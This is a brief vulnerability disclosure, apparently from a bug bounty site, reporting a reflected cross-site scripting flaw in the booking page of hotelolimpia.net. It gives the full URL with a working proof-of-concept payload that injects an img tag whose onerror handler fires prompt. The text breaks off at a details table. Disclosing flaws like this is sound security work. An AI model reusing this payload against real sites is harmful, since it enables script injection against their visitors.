hotelolimpia.net XSS vulnerability

Vulnerable URL: http://www.hotelolimpia.net/booking.html?bform%5Bcheckin%5D=%22%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%5Bcheckout%5D=18-08-2017%5BnumRooms%5D=1%5BreqRooms%5D%5B1%5D%5Badults%5D=2%5BreqRooms%5D%5B1%5D%5Bchild%5D=0 Details: Description| Value ---|---...